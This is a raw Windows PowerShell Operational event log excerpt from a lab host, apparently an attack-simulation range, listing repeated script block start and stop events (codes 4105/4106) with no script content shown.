User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2044692
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2044691
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2044690
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2044689
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2044688
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2044687
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2044686
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2044685
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2044684
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2044683
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2044682
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2044681
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2044680
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2044679
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2044678
Keywords=None
Message=Completed invocation of ScriptBlock ID: 90955ce6-e72b-4f02-98e7-2854d76e96fb
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2044677
Keywords=None
Message=Started invocation of ScriptBlock ID: 90955ce6-e72b-4f02-98e7-2854d76e96fb
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2044676
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2044675
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2044674
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2044673
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2044672
Keywords=None
Message=Completed invocation of ScriptBlock ID: 59ce12a7-770c-48d4-9010-f424db8bd9ae
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2044671
Keywords=None
Message=Started invocation of ScriptBlock ID: 59ce12a7-770c-48d4-9010-f424db8bd9ae
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2044670
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2044669
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2044668
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2044667
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2044666
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2044665
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2044664
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2044663
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2044662
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2044661
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2044660
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2044659
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2044658
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2044657
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2044656
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2044655
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2044654
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2044653
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2044652
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2044651
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2044650
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2044649
Keywords=None
Message=Started invocation of ScriptBlock ID: debebd5f-7e1c-4381-b8ac-a94c8c171ec8
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2044648
Keywords=None
Message=Completed invocation of ScriptBlock ID: 1a3733b9-0846-4416-96ff-f98e831fb92f
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2044647
Keywords=None
Message=Started invocation of ScriptBlock ID: 1a3733b9-0846-4416-96ff-f98e831fb92f
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2044646
Keywords=None
Message=Completed invocation of ScriptBlock ID: debebd5f-7e1c-4381-b8ac-a94c8c171ec8
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2044645
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2044644
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2044643
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2044642
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2044641
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2044640
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2044639
Keywords=None
